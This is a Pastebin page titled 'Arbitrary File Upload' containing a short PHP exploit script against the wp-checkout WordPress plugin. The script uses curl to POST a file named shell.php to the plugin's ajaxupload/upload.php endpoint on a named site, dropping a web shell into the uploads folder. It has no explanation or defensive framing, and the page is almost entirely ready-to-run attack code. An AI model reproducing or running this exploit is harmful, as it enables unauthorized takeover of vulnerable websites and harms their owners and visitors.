kmlhxr

Arbitrary File Upload

Oct 31st, 2015
166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.42 KB | None | 0 0
  1. <?php
  2.  
  3. $uploadfile="shell.php";
  4. $ch = curl_init("http://kmlhxr.id/wp-content/plugins/wp-checkout/vendors/ajaxupload/upload.php");
  5. curl_setopt($ch, CURLOPT_POST, true);
  6. curl_setopt($ch, CURLOPT_POSTFIELDS,
  7.          array('Filedata'=>"@$uploadfile",
  8.           'folder'=>'/wp-content/uploads/wp-checkout/'));
  9. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  10. $postResult = curl_exec($ch);
  11. curl_close($ch);
  12. print "$postResult";
  13.  
  14. ?>
Advertisement
Add Comment
Please, Sign In to add comment